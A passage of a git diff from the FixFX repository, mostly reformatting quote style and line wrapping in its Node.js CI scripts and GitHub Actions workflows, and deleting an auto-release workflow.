@@ async function analyzeCommits() { try { // Get the last tag const lastTag = getLastTag(); - const currentVersion = lastTag ? lastTag.replace(/^v/, '') : '0.0.0'; + const currentVersion = lastTag ? lastTag.replace(/^v/, "") : "0.0.0"; // Get commits since last tag const commitLog = getCommitsSinceTag(lastTag); @@ -230,7 +232,7 @@ async function analyzeCommits() { async function main() { const args = process.argv.slice(2); - const useJson = args.includes('--json'); + const useJson = args.includes("--json"); const result = await analyzeCommits(); @@ -247,16 +249,21 @@ async function main() { console.log(` - Breaking: ${result.analysis.breaking.length}`); console.log(` - Other: ${result.analysis.other.length}`); } else { - console.log('No pending changes that require a release'); + console.log("No pending changes that require a release"); } } } if (require.main === module) { main().catch((error) => { - console.error('Fatal error:', error.message); + console.error("Fatal error:", error.message); process.exit(1); }); } -module.exports = { analyzeCommits, parseCommits, calculateNextVersion, generateChangelogEntry }; +module.exports = { + analyzeCommits, + parseCommits, + calculateNextVersion, + generateChangelogEntry, +}; diff --git a/.github/scripts/get-version.js b/.github/scripts/get-version.js index 7866b5c..400afed 100644 --- a/.github/scripts/get-version.js +++ b/.github/scripts/get-version.js @@ -2,52 +2,52 @@ /** * Get the current version from GitHub releases - * + * * This script fetches the latest release from the FixFX repository * and extracts the version from the tag name. - * + * * Usage: * node get-version.js # outputs to stdout * node get-version.js --file # writes to file * node get-version.js --json # outputs as JSON object */ -const https = require('https'); -const fs = require('fs'); -const path = require('path'); +const https = require("https"); +const fs = require("fs"); +const path = require("path"); -const REPO_OWNER = 'CodeMeAPixel'; -const REPO_NAME = 'FixFX'; -const DEFAULT_VERSION = '0.0.0-unknown'; +const REPO_OWNER = "CodeMeAPixel"; +const REPO_NAME = "FixFX"; +const DEFAULT_VERSION = "0.0.0-unknown"; async function fetchLatestRelease() { return new Promise((resolve, reject) => { const url = `https://api.github.com/repos/${REPO_OWNER}/${REPO_NAME}/releases/latest`; - + const options = { - hostname: 'api.github.com', + hostname: "api.github.com", path: `/repos/${REPO_OWNER}/${REPO_NAME}/releases/latest`, - method: 'GET', + method: "GET", headers: { - 'User-Agent': 'FixFX-Version-Script', - 'Accept': 'application/vnd.github.v3+json', + "User-Agent": "FixFX-Version-Script", + Accept: "application/vnd.github.v3+json", }, timeout: 5000, }; // Use GitHub token if available for higher rate limits if (process.env.GITHUB_TOKEN) { - options.headers['Authorization'] = `token ${process.env.GITHUB_TOKEN}`; + options.headers["Authorization"] = `token ${process.env.GITHUB_TOKEN}`; } const req = https.request(options, (res) => { - let data = ''; + let data = ""; - res.on('data', (chunk) => { + res.on("data", (chunk) => { data += chunk; }); - res.on('end', () => { + res.on("end", () => { try { if (res.statusCode === 404) { // No releases found @@ -63,30 +63,32 @@ async function fetchLatestRelease() { const release = JSON.parse(data); resolve(release); } catch (error) { - reject(new Error(`Failed to parse GitHub API response: ${error.message}`)); + reject( + new Error(`Failed to parse GitHub API response: ${error.message}`), + ); } }); }); - req.on('timeout', () => { + req.on("timeout", () => { req.destroy(); - reject(new Error('GitHub API request timed out')); + reject(new Error("GitHub API request timed out")); }); - req.on('error', reject); + req.on("error", reject); req.end(); }); } function extractVersion(tagName) { // Remove leading 'v' if present (e.g., 'v1.0.0' → '1.0.0') - let version = tagName.replace(/^v/, ''); - + let version = tagName.replace(/^v/, ""); + // Validate semver format (basic check) if (!/^\d+\.\d+\.\d+/.test(version)) { throw new Error(`Invalid version format: ${tagName}`); } - + return version; } @@ -95,7 +97,9 @@ async function getVersion(options = {}) { const release = await fetchLatestRelease(); if (!release) { - console.warn(`No releases found for ${REPO_OWNER}/${REPO_NAME}, using default version`); + console.warn( + `No releases found for ${REPO_OWNER}/${REPO_NAME}, using default version`, + ); return DEFAULT_VERSION; } @@ -106,7 +110,9 @@ async function getVersion(options = {}) { console.error(`Error fetching version: ${error.message}`); process.exit(1); } else { - console.warn(`Error fetching version: ${error.message}, using default version`); + console.warn( + `Error fetching version: ${error.message}, using default version`, + ); return DEFAULT_VERSION; } } @@ -118,12 +124,12 @@ async function main() { // Parse arguments for (let i = 0; i < args.length; i++) { - if (args[i] === '--file') { + if (args[i] === "--file") { options.file = args[i + 1]; i++; - } else if (args[i] === '--json') { + } else if (args[i] === "--json") { options.json = true; - } else if (args[i] === '--strict') { + } else if (args[i] === "--strict") { options.strict = true; } } @@ -131,10 +137,12 @@ async function main() { const version = await getVersion(options); if (options.json) { - console.log(JSON.stringify({ version, repo: `${REPO_OWNER}/${REPO_NAME}` }, null, 2)); + console.log( + JSON.stringify({ version, repo: `${REPO_OWNER}/${REPO_NAME}` }, null, 2), + ); } else if (options.file) { try { - fs.writeFileSync(options.file, version, 'utf-8'); + fs.writeFileSync(options.file, version, "utf-8"); console.log(`Version written to ${options.file}: ${version}`); } catch (error) { console.error(`Failed to write version to file: ${error.message}`); @@ -147,7 +155,7 @@ async function main() { if (require.main === module) { main().catch((error) => { - console.error('Fatal error:', error.message); + console.error("Fatal error:", error.message); process.exit(1); }); } diff --git a/.github/scripts/update-trusted-hosts.js b/.github/scripts/update-trusted-hosts.js index 6f425e1..03c2be3 100644 --- a/.github/scripts/update-trusted-hosts.js +++ b/.github/scripts/update-trusted-hosts.js @@ -6,34 +6,54 @@ * Used by GitHub Actions to keep the trusted-hosts.json file up to date */ -const https = require('https'); -const fs = require('fs'); -const path = require('path'); +const https = require("https"); +const fs = require("fs"); +const path = require("path"); -const FIVEM_HOSTING_URL = 'https://fivem.net/server-hosting'; -const TRUSTED_HOSTS_FILE = path.join(__dirname, '..', '..', 'packages', 'providers', 'trusted-hosts.json'); -const SCHEMA_FILE = path.join(__dirname, '..', '..', 'packages', 'providers', 'trusted-hosts-schema.json'); +const FIVEM_HOSTING_URL = "https://fivem.net/server-hosting"; +const TRUSTED_HOSTS_FILE = path.join( + __dirname, + "..", + "..", + "packages", + "providers", + "trusted-hosts.json", +); +const SCHEMA_FILE = path.join( + __dirname, + "..", + "..", + "packages", + "providers", + "trusted-hosts-schema.json", +); /** * Fetch the FiveM hosting page and extract provider information */ async function fetchFiveMListing() { return new Promise((resolve, reject) => { - https.get(FIVEM_HOSTING_URL, { headers: { 'User-Agent': 'FixFX-TrustedHostsScraper/1.0' } }, (res) => { - let data = ''; - - res.on('data', chunk => { - data += chunk; - }); - - res.on('end', () => { - try { - resolve(data); - } catch (error) { - reject(error); - } - }); - }).on('error', reject); + https + .get( + FIVEM_HOSTING_URL, + { headers: { "User-Agent": "FixFX-TrustedHostsScraper/1.0" } }, + (res) => { + let data = ""; + + res.on("data", (chunk) => { + data += chunk; + }); + + res.on("end", () => { + try { + resolve(data); + } catch (error) { + reject(error); + } + }); + }, + ) + .on("error", reject); }); } @@ -43,58 +63,71 @@ async function fetchFiveMListing() { */ function parseHostingProviders(html) { const providers = []; - + // Look for hosting provider cards - they typically have specific patterns // Pattern 1: Look for links with typical hosting provider domain patterns - const linkRegex = /]*href=["']([^"']*(?:zap-hosting|gtxgaming|nitrado|g-portal|firestorm|nitrado|gameservers|lgsm)[^"']*)["'][^>]*>([^<]+)<\/a>/gi; + const linkRegex = + /]*href=["']([^"']*(?:zap-hosting|gtxgaming|nitrado|g-portal|firestorm|nitrado|gameservers|lgsm)[^"']*)["'][^>]*>([^<]+)<\/a>/gi; let match; - + const seen = new Set(); - + while ((match = linkRegex.exec(html)) !== null) { const url = match[1]; const name = match[2].trim(); - + // Skip duplicates and invalid entries if (!url || !name || seen.has(url.toLowerCase())) continue; - + seen.add(url.toLowerCase()); - + // Normalize URL - const normalizedUrl = new URL(url.includes('://') ? url : `https://${url}`).href; - + const normalizedUrl = new URL(url.includes("://") ? url : `https://${url}`) + .href; + providers.push({ - id: name.toLowerCase().replace(/\s+/g, '-').replace(/[^a-z0-9-]/g, ''), + id: name + .toLowerCase() + .replace(/\s+/g, "-") + .replace(/[^a-z0-9-]/g, ""), name: name, url: normalizedUrl, description: `Trusted FiveM/RedM hosting provider`, verified: true, - lastVerified: new Date().toISOString() + lastVerified: new Date().toISOString(), }); } - + // Known hosting providers fallback (if scraping doesn't find them) const knownProviders = [ - { id: 'zap-hosting', name: 'ZAP-Hosting', url: 'https://zap-hosting.com' }, - { id: 'gtxgaming', name: 'GTXGaming', url: 'https://gtxgaming.co.uk' }, - { id: 'nitrado', name: 'Nitrado', url: 'https://nitrado.net' }, - { id: 'g-portal', name: 'G-Portal', url: 'https://www.g-portal.com' }, - { id: 'firestorm-servers', name: 'Firestorm Servers', url: 'https://firestormservers.com' }, - { id: 'gameservers', name: 'GameServers', url: 'https://www.gameservers.com' } + { id: "zap-hosting", name: "ZAP-Hosting", url: "https://zap-hosting.com" }, + { id: "gtxgaming", name: "GTXGaming", url: "https://gtxgaming.co.uk" }, + { id: "nitrado", name: "Nitrado", url: "https://nitrado.net" }, + { id: "g-portal", name: "G-Portal", url: "https://www.g-portal.com" }, + { + id: "firestorm-servers", + name: "Firestorm Servers", + url: "https://firestormservers.com", + }, + { + id: "gameservers", + name: "GameServers", + url: "https://www.gameservers.com", + }, ]; - + // Add known providers if not already found for (const known of knownProviders) { - if (!providers.find(p => p.id === known.id)) { + if (!providers.find((p) => p.id === known.id)) { providers.push({ ...known, description: `Trusted FiveM/RedM hosting provider`, verified: false, - lastVerified: new Date().toISOString() + lastVerified: new Date().toISOString(), }); } } - + return providers; } @@ -103,17 +136,17 @@ function parseHostingProviders(html) { */ function validateAgainstSchema(provider, schema) { const errors = []; - + // Check required fields - if (!provider.id) errors.push('Missing required field: id'); - if (!provider.name) errors.push('Missing required field: name'); - if (!provider.url) errors.push('Missing required field: url'); - + if (!provider.id) errors.push("Missing required field: id"); + if (!provider.name) errors.push("Missing required field: name"); + if (!provider.url) errors.push("Missing required field: url"); + // Validate ID format if (provider.id && !/^[a-z0-9-]+$/.test(provider.id)) { errors.push(`Invalid id format: ${provider.id}`); } - + // Validate URL format if (provider.url) { try { @@ -122,16 +155,16 @@ function validateAgainstSchema(provider, schema) { errors.push(`Invalid URL format: ${provider.url}`); } } - + // Validate string lengths if (provider.name && provider.name.length > 255) { errors.push(`Name exceeds maximum length: ${provider.name.length} > 255`); } - + if (provider.description && provider.description.length > 500) { errors.push(`Description exceeds maximum length`); } - + return errors; } @@ -140,21 +173,21 @@ function validateAgainstSchema(provider, schema) { */ async function main() { try { - console.log('🌐 Fetching FiveM trusted hosting providers...'); + console.log("🌐 Fetching FiveM trusted hosting providers..."); const html = await fetchFiveMListing(); - - console.log('📊 Parsing provider information...'); + + console.log("📊 Parsing provider information..."); const hosts = parseHostingProviders(html); - + if (hosts.length === 0) { - console.warn('⚠️ No providers found. Using defaults.'); + console.warn("⚠️ No providers found. Using defaults."); } else { console.log(`✅ Found ${hosts.length} hosting providers`); } - + // Load schema for validation - const schema = JSON.parse(fs.readFileSync(SCHEMA_FILE, 'utf8')); - + const schema = JSON.parse(fs.readFileSync(SCHEMA_FILE, "utf8")); + // Validate each provider const validationErrors = []; for (const host of hosts) { @@ -164,33 +197,35 @@ async function main() { validationErrors.push({ provider: host.name, errors }); } } - + // Create output object const output = { lastUpdated: new Date().toISOString(), - source: 'https://fivem.net/server-hosting', - hosts: hosts.sort((a, b) => a.name.localeCompare(b.name)) + source: "https://fivem.net/server-hosting", + hosts: hosts.sort((a, b) => a.name.localeCompare(b.name)), }; - + // Write to file fs.writeFileSync(TRUSTED_HOSTS_FILE, JSON.stringify(output, null, 2)); console.log(`📝 Updated ${TRUSTED_HOSTS_FILE}`); - + // Print summary - console.log('\n📋 Summary:'); + console.log("\n📋 Summary:"); console.log(` Total providers: ${hosts.length}`); - console.log(` Verified: ${hosts.filter(h => h.verified).length}`); - console.log(` Unverified: ${hosts.filter(h => !h.verified).length}`); - + console.log(` Verified: ${hosts.filter((h) => h.verified).length}`); + console.log(` Unverified: ${hosts.filter((h) => !h.verified).length}`); + if (validationErrors.length > 0) { - console.warn(`\n⚠️ Found ${validationErrors.length} validation warnings`); + console.warn( + `\n⚠️ Found ${validationErrors.length} validation warnings`, + ); process.exit(0); // Don't fail on warnings } - - console.log('\n✅ Successfully updated trusted hosts list'); + + console.log("\n✅ Successfully updated trusted hosts list"); process.exit(0); } catch (error) { - console.error('❌ Error:', error.message); + console.error("❌ Error:", error.message); process.exit(1); } } diff --git a/.github/scripts/validate-trusted-hosts.js b/.github/scripts/validate-trusted-hosts.js index ad60549..ad3a412 100644 --- a/.github/scripts/validate-trusted-hosts.js +++ b/.github/scripts/validate-trusted-hosts.js @@ -5,42 +5,56 @@ * Ensures the file conforms to the schema and contains valid data */ -const fs = require('fs'); -const path = require('path'); -const Ajv = require('ajv'); -const addFormats = require('ajv-formats'); +const fs = require("fs"); +const path = require("path"); +const Ajv = require("ajv"); +const addFormats = require("ajv-formats"); -const TRUSTED_HOSTS_FILE = path.join(__dirname, '..', '..', 'packages', 'providers', 'trusted-hosts.json'); -const SCHEMA_FILE = path.join(__dirname, '..', '..', 'packages', 'providers', 'trusted-hosts-schema.json'); +const TRUSTED_HOSTS_FILE = path.join( + __dirname, + "..", + "..", + "packages", + "providers", + "trusted-hosts.json", +); +const SCHEMA_FILE = path.join( + __dirname, + "..", + "..", + "packages", + "providers", + "trusted-hosts-schema.json", +); try { // Load files - const trustedHosts = JSON.parse(fs.readFileSync(TRUSTED_HOSTS_FILE, 'utf8')); - let schema = JSON.parse(fs.readFileSync(SCHEMA_FILE, 'utf8')); - + const trustedHosts = JSON.parse(fs.readFileSync(TRUSTED_HOSTS_FILE, "utf8")); + let schema = JSON.parse(fs.readFileSync(SCHEMA_FILE, "utf8")); + // Remove $schema to avoid AJV trying to fetch it from the web delete schema.$schema; - + // Initialize AJV validator with format support const ajv = new Ajv(); addFormats(ajv); const validate = ajv.compile(schema); - + // Validate against schema const isValid = validate(trustedHosts); - + if (!isValid) { - console.error('❌ Schema validation failed:\n'); - validate.errors.forEach(error => { - console.error(` ${error.instancePath || 'root'}: ${error.message}`); + console.error("❌ Schema validation failed:\n"); + validate.errors.forEach((error) => { + console.error(` ${error.instancePath || "root"}: ${error.message}`); }); process.exit(1); } - + // Additional validations const errors = []; const warnings = []; - + // Check for duplicate IDs const ids = new Set(); for (const host of trustedHosts.hosts) { @@ -49,7 +63,7 @@ try { } ids.add(host.id); } - + // Check for duplicate URLs const urls = new Set(); for (const host of trustedHosts.hosts) { @@ -59,33 +73,37 @@ try { } urls.add(normalizedUrl); } - + // Check lastUpdated is recent (within 30 days) const lastUpdated = new Date(trustedHosts.lastUpdated); const thirtyDaysAgo = new Date(Date.now() - 30 * 24 * 60 * 60 * 1000); if (lastUpdated < thirtyDaysAgo) { - warnings.push('List was last updated more than 30 days ago. Consider running the scraper.'); + warnings.push( + "List was last updated more than 30 days ago. Consider running the scraper.", + ); } - + // Report results if (errors.length > 0) { - console.error('❌ Validation errors:\n'); - errors.forEach(error => console.error(` • ${error}`)); + console.error("❌ Validation errors:\n"); + errors.forEach((error) => console.error(` • ${error}`)); process.exit(1); } - + if (warnings.length > 0) { - console.warn('⚠️ Validation warnings:\n'); - warnings.forEach(warning => console.warn(` • ${warning}`)); + console.warn("⚠️ Validation warnings:\n"); + warnings.forEach((warning) => console.warn(` • ${warning}`)); } - - console.log('✅ trusted-hosts.json validation passed'); + + console.log("✅ trusted-hosts.json validation passed"); console.log(` Total providers: ${trustedHosts.hosts.length}`); - console.log(` Last updated: ${new Date(trustedHosts.lastUpdated).toLocaleString()}`); + console.log( + ` Last updated: ${new Date(trustedHosts.lastUpdated).toLocaleString()}`, + ); console.log(` Source: ${trustedHosts.source}`); - + process.exit(0); } catch (error) { - console.error('❌ Error:', error.message); + console.error("❌ Error:", error.message); process.exit(1); } diff --git a/.github/scripts/validate-tsconfig.js b/.github/scripts/validate-tsconfig.js index ef113f3..e19f055 100644 --- a/.github/scripts/validate-tsconfig.js +++ b/.github/scripts/validate-tsconfig.js @@ -1,19 +1,19 @@ #!/usr/bin/env node -const fs = require('fs'); -const path = require('path'); +const fs = require("fs"); +const path = require("path"); // Load both versions -const currentPath = 'tsconfig.json'; -const basePath = 'base-branch/tsconfig.json'; +const currentPath = "tsconfig.json"; +const basePath = "base-branch/tsconfig.json"; let currentConfig, baseConfig; try { - currentConfig = JSON.parse(fs.readFileSync(currentPath, 'utf8')); - baseConfig = JSON.parse(fs.readFileSync(basePath, 'utf8')); + currentConfig = JSON.parse(fs.readFileSync(currentPath, "utf8")); + baseConfig = JSON.parse(fs.readFileSync(basePath, "utf8")); } catch (error) { - console.error('Error parsing JSON files:', error.message); + console.error("Error parsing JSON files:", error.message); process.exit(1); } @@ -37,7 +37,9 @@ if (currentConfig.compilerOptions && baseConfig.compilerOptions) { const currentValue = JSON.stringify(currentConfig.compilerOptions[key]); if (baseValue !== currentValue && key in currentConfig.compilerOptions) { - errors.push(`❌ Modified compiler option "${key}": "${baseValue}" → "${currentValue}"`); + errors.push( + `❌ Modified compiler option "${key}": "${baseValue}" → "${currentValue}"`, + ); hasErrors = true; } } @@ -57,10 +59,17 @@ if (currentConfig.compilerOptions?.paths && baseConfig.compilerOptions?.paths) { if (currentConfig.compilerOptions?.paths && baseConfig.compilerOptions?.paths) { for (const key in baseConfig.compilerOptions.paths) { const baseValue = JSON.stringify(baseConfig.compilerOptions.paths[key]); - const currentValue = JSON.stringify(currentConfig.compilerOptions.paths[key]); + const currentValue = JSON.stringify( + currentConfig.compilerOptions.paths[key], + ); - if (baseValue !== currentValue && key in currentConfig.compilerOptions.paths) { - errors.push(`❌ Modified path alias "${key}": ${baseValue} → ${currentValue}`); + if ( + baseValue !== currentValue && + key in currentConfig.compilerOptions.paths + ) { + errors.push( + `❌ Modified path alias "${key}": ${baseValue} → ${currentValue}`, + ); hasErrors = true; } } @@ -89,14 +98,18 @@ if (currentConfig.exclude && baseConfig.exclude) { } if (hasErrors) { - console.log('\n❌ tsconfig.json validation FAILED\n'); - console.log('Critical Configuration Protection:\n'); - errors.forEach(error => console.log(error)); - console.log('\n⚠️ Only ADDITIONS to tsconfig.json are allowed.'); - console.log('Removing or modifying existing configurations will break the site.\n'); + console.log("\n❌ tsconfig.json validation FAILED\n"); + console.log("Critical Configuration Protection:\n"); + errors.forEach((error) => console.log(error)); + console.log("\n⚠️ Only ADDITIONS to tsconfig.json are allowed."); + console.log( + "Removing or modifying existing configurations will break the site.\n", + ); process.exit(1); } else { - console.log('✅ tsconfig.json validation PASSED'); - console.log('Only additions detected (or no changes to existing configuration).\n'); + console.log("✅ tsconfig.json validation PASSED"); + console.log( + "Only additions detected (or no changes to existing configuration).\n", + ); process.exit(0); } diff --git a/.github/workflows/auto-release.yml b/.github/workflows/auto-release.yml deleted file mode 100644 index bded2e4..0000000 --- a/.github/workflows/auto-release.yml +++ /dev/null @@ -1,182 +0,0 @@ -name: Auto Release & Changelog - -on: - push: - branches: - - develop - - master - paths: - - 'frontend/**' - - '.github/workflows/auto-release.yml' - # Explicitly exclude pull requests - # This workflow only runs on direct pushes/merges to branches - -jobs: - analyze: - name: Analyze Commits & Check for Release - runs-on: ubuntu-latest - outputs: - has-changes: ${{ steps.analyze.outputs.has-changes }} - next-version: ${{ steps.analyze.outputs.next-version }} - tag: ${{ steps.analyze.outputs.tag }} - changelog: ${{ steps.analyze.outputs.changelog }} - - steps: - - name: Checkout repository - uses: actions/checkout@v4 - with: - fetch-depth: 0 # Fetch all history to analyze commits - - - name: Setup Node.js - uses: actions/setup-node@v4 - with: - node-version: '20' - - - name: Analyze commits since last release - id: analyze - working-directory: frontend - run: | - # Run the analysis script and capture JSON output - ANALYSIS=$(node .github/scripts/analyze-commits.js --json) - - echo "Analysis Result:" - echo "$ANALYSIS" | jq '.' - - # Extract values - HAS_CHANGES=$(echo "$ANALYSIS" | jq -r '.hasPendingChanges') - NEXT_VERSION=$(echo "$ANALYSIS" | jq -r '.nextVersion // empty') - TAG=$(echo "$ANALYSIS" | jq -r '.tag // empty') - - # Read changelog (save to temp file for multiline output) - CHANGELOG=$(echo "$ANALYSIS" | jq -r '.changelog // empty') - - echo "has-changes=$HAS_CHANGES" >> $GITHUB_OUTPUT - echo "next-version=$NEXT_VERSION" >> $GITHUB_OUTPUT - echo "tag=$TAG" >> $GITHUB_OUTPUT - - # Store changelog in a file for the next step - if [ -n "$CHANGELOG" ]; then - echo "$CHANGELOG" > /tmp/changelog-entry.md - echo "changelog-file=/tmp/changelog-entry.md" >> $GITHUB_OUTPUT - fi - - update-changelog: - name: Update CHANGELOG.md - needs: analyze - runs-on: ubuntu-latest - if: needs.analyze.outputs.has-changes == 'true' - - steps: - - name: Checkout repository - uses: actions/checkout@v4 - with: - fetch-depth: 0 - - - name: Setup Node.js - uses: actions/setup-node@v4 - with: - node-version: '20' - - - name: Get changelog entry - id: get-changelog - working-directory: frontend - run: | - ANALYSIS=$(node .github/scripts/analyze-commits.js --json) - CHANGELOG=$(echo "$ANALYSIS" | jq -r '.changelog') - - # Use a delimiter for multiline output - echo "entry<> $GITHUB_OUTPUT - echo "$CHANGELOG" >> $GITHUB_OUTPUT - echo "CHANGELOG_DELIMITER" >> $GITHUB_OUTPUT - - - name: Update CHANGELOG.md - working-directory: frontend - run: | - # Read the current CHANGELOG - CURRENT=$(cat CHANGELOG.md) - - # Get the changelog entry - ENTRY="${{ steps.get-changelog.outputs.entry }}" - - # Find the line with "## [1.1.0] - Unreleased" and replace with new version - # This handles the unreleased section by replacing it with the new version - - # Create new changelog with the entry inserted after the header - { - head -n 8 CHANGELOG.md # Keep header and intro - echo "" - echo "$ENTRY" - tail -n +9 CHANGELOG.md | sed 's/## \[1\.1\.0\] - Unreleased/## [Unreleased] - TBD/' || tail -n +9 CHANGELOG.md - } > CHANGELOG.md.tmp - - mv CHANGELOG.md.tmp CHANGELOG.md - - - name: Commit and push changelog - run: | - cd frontend - git config user.name "github-actions[bot]" - git config user.email "github-actions[bot]@users.noreply.github.com" - - git add CHANGELOG.md - git commit -m "chore: update changelog for version ${{ needs.analyze.outputs.next-version }}" - git push - - create-release: - name: Create GitHub Release - needs: [analyze, update-changelog] - runs-on: ubuntu-latest - if: needs.analyze.outputs.has-changes == 'true' - - steps: - - name: Checkout repository - uses: actions/checkout@v4 - with: - fetch-depth: 0 - - - name: Setup Node.js - uses: actions/setup-node@v4 - with: - node-version: '20' - - - name: Get release notes from changelog - id: release-notes - working-directory: frontend - run: | - ANALYSIS=$(node .github/scripts/analyze-commits.js --json) - CHANGELOG=$(echo "$ANALYSIS" | jq -r '.changelog') - - echo "notes<> $GITHUB_OUTPUT - echo "$CHANGELOG" >> $GITHUB_OUTPUT - echo "RELEASE_NOTES_DELIMITER" >> $GITHUB_OUTPUT - - - name: Create Release - uses: actions/create-release@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - tag_name: ${{ needs.analyze.outputs.tag }} - release_name: Release ${{ needs.analyze.outputs.next-version }} - body: ${{ steps.release-notes.outputs.notes }} - draft: false - prerelease: false - - - name: Log Release Created - run: | - echo "✅ Release created!" - echo "Tag: ${{ needs.analyze.outputs.tag }}" - echo "Version: ${{ needs.analyze.outputs.next-version }}" - - notify-no-changes: - name: Notify if No Changes - needs: analyze - runs-on: ubuntu-latest - if: needs.analyze.outputs.has-changes == 'false' - - steps: - - name: Log status - run: | - echo "ℹ️ No changes requiring a release detected" - echo "Please commit changes with conventional commit format:" - echo " feat: Add new feature" - echo " fix: Fix a bug" - echo " breaking: Breaking change" diff --git a/.github/workflows/build-ci.yml b/.github/workflows/build-ci.yml index 272104d..1d3ccb2 100644 --- a/.github/workflows/build-ci.yml +++ b/.github/workflows/build-ci.yml @@ -10,17 +10,17 @@ jobs: - uses: actions/checkout@v3 with: ref: ${{ github.head_ref }} - + - name: Install Bun uses: oven-sh/setup-bun@v1 with: bun-version: latest - + - name: Install dependencies run: bun install - + - name: Build application run: bun run build - + - name: Notify success - run: echo "Build completed successfully!" \ No newline at end of file + run: echo "Build completed successfully!" diff --git a/.github/workflows/knip-ci.yml b/.github/workflows/knip-ci.yml index f400229..2021ed8 100644 --- a/.github/workflows/knip-ci.yml +++ b/.github/workflows/knip-ci.yml @@ -11,15 +11,15 @@ jobs: - uses: actions/checkout@v4 with: ref: ${{ github.head_ref }} - + - name: Install Bun uses: oven-sh/setup-bun@v1 with: bun-version: latest - + - name: Install dependencies run: bun install - + - name: Build application run: bun run build @@ -41,6 +41,6 @@ jobs: - name: Validate Production Dependencies run: bunx knip:prod continue-on-error: true - + - name: Notify success - run: echo "Knip validation completed!" \ No newline at end of file + run: echo "Knip validation completed!" diff --git a/.github/workflows/knip-report.yml b/.github/workflows/knip-report.yml index ea68b95..af587b8 100644 --- a/.github/workflows/knip-report.yml +++ b/.github/workflows/knip-report.yml @@ -12,15 +12,15 @@ jobs: - uses: actions/checkout@v4 with: ref: ${{ github.head_ref }} - + - name: Install Bun uses: oven-sh/setup-bun@v1 with: bun-version: latest - + - name: Install dependencies run: bun install - + - name: Build application run: bun run build diff --git a/.github/workflows/tsconfig-validation.yml b/.github/workflows/tsconfig-validation.yml index 13ec330..2d3dc4d 100644 --- a/.github/workflows/tsconfig-validation.yml +++ b/.github/workflows/tsconfig-validation.yml @@ -3,7 +3,7 @@ name: Validate tsconfig.json Changes on: pull_request: paths: - - 'tsconfig.json' + - "tsconfig.json" jobs: validate-tsconfig: @@ -26,7 +26,7 @@ jobs: - name: Setup Node.js uses: actions/setup-node@v4 with: - node-version: '20' + node-version: "20" - name: Validate tsconfig.json changes run: node .github/scripts/validate-tsconfig.js diff --git a/.github/workflows/update-trusted-hosts.yml b/.github/workflows/update-trusted-hosts.yml index de8baa4..9b17557 100644 --- a/.github/workflows/update-trusted-hosts.yml +++ b/.github/workflows/update-trusted-hosts.yml @@ -3,8 +3,8 @@ name: Update Trusted Hosting Providers on: schedule: # Run every Monday at 00:00 UTC to check for updates - - cron: '0 0 * * 1' - + - cron: "0 0 * * 1" + # Allow manual triggering workflow_dispatch: @@ -24,7 +24,7 @@ jobs: - name: Setup Node.js uses: actions/setup-node@v4 with: - node-version: '20' + node-version: "20" - name: Install dependencies run: npm install ajv @@ -51,28 +51,28 @@ jobs: token: ${{ secrets.GITHUB_TOKEN }} commit-message: | chore: update trusted hosting providers list - + Automatically updated from https://fivem.net/server-hosting branch: chore/update-trusted-hosts delete-branch: true - title: 'chore: update trusted hosting providers list' + title: "chore: update trusted hosting providers list" body: | ## 🤖 Automated Update - + This PR automatically updates the trusted hosting providers list from the official FiveM registry. - + **Changes:** - Updated `packages/providers/trusted-hosts.json` - Validated against schema - Last updated: ${{ github.event.head_commit.timestamp || 'Manual trigger' }} - + The list is scraped from: https://fivem.net/server-hosting - + ### Verification Checklist - [x] Schema validation passed - [x] No duplicate provider IDs - [x] All provider URLs are valid - + ✅ Ready to merge labels: | automated diff --git a/.github/workflows/validate-providers.yml b/.github/workflows/validate-providers.yml index e8c167d..d3b5dc7 100644 --- a/.github/workflows/validate-providers.yml +++ b/.github/workflows/validate-providers.yml @@ -3,7 +3,7 @@ name: Validate Provider Files on: pull_request: paths: - - 'frontend/packages/providers/**/*.json' + - "packages/providers/**/*.json" jobs: validate: @@ -20,7 +20,7 @@ jobs: - name: Setup Node.js uses: actions/setup-node@v4 with: - node-version: '20' + node-version: "20" - name: Install ajv-cli run: npm install -g ajv-cli ajv-formats @@ -29,7 +29,7 @@ jobs: run: | SCHEMA_FILE="packages/providers/schema.json" ERRORS=0 - + # Find all provider.json files in subdirectories for file in packages/providers/*/provider.json; do # Skip if file doesn't exist (no providers) @@ -56,13 +56,13 @@ jobs: ERRORS=$((ERRORS + 1)) fi done - + if [ $ERRORS -gt 0 ]; then echo "" echo "❌ $ERRORS error(s) found in provider files" exit 1 fi - + echo "" echo "✅ All provider files are valid!" @@ -70,7 +70,7 @@ jobs: run: | ERRORS=0 IDS_FILE=$(mktemp) - + # Extract all IDs from provider.json files for file in packages/providers/*/provider.json; do if [ -f "$file" ]; then @@ -80,7 +80,7 @@ jobs: fi fi done - + # Check for duplicates if [ -f "$IDS_FILE" ]; then DUPLICATES=$(sort "$IDS_FILE" | uniq -d) @@ -95,7 +95,7 @@ jobs: rm "$IDS_FILE" fi - + if [ $ERRORS -gt 0 ]; then exit 1 fi @@ -103,7 +103,7 @@ jobs: - name: Validate URLs run: | ERRORS=0 - + # Check all provider.json files for file in packages/providers/*/provider.json; do if [ ! -f "$file" ]; then @@ -125,17 +125,17 @@ jobs: fi done <<< "$URLS" done - + if [ $ERRORS -gt 0 ]; then exit 1 fi - + echo "✅ All URLs are properly formatted" - name: Verify directory structure run: | ERRORS=0 - + # Check that each provider directory has a provider.json for dir in packages/providers/*/; do dirname=$(basename "$dir") @@ -157,10 +157,10 @@ jobs: fi fi done - + if [ $ERRORS -gt 0 ]; then echo "" echo "⚠️ $ERRORS warning(s) found (non-fatal)" fi - + echo "✅ Directory structure verified" diff --git a/.vscode/extensions.json b/.vscode/extensions.json index 52a5391..f48952c 100644 --- a/.vscode/extensions.json +++ b/.vscode/extensions.json @@ -1,33 +1,33 @@ { - "recommendations": [ - "heybourn.headwind", - "aaron-bond.better-comments", - "alefragnani.bookmarks", - "coenraads.bracket-pair-colorizer-2", - "streetsidesoftware.code-spell-checker", - "naumovs.color-highlight", - "mikestead.dotenv", - "usernamehw.errorlens", - "dsznajder.es7-react-js-snippets", - "dbaeumer.vscode-eslint", - "mhutchie.git-graph", - "graphql.vscode-graphql", - "vincaslt.highlight-matching-tag", - "oderwat.indent-rainbow", - "vtrois.gitmoji-vscode", - "silvenon.mdx", - "cardinal90.multi-cursor-case-preserve", - "foxundermoon.next-js", - "pulkitgangwar.nextjs-snippets", - "christian-kohler.path-intellisense", - "csstools.postcss", - "esbenp.prettier-vscode", - "prisma.prisma", - "willluke.nextjs", - "spikespaz.vscode-smoothtype", - 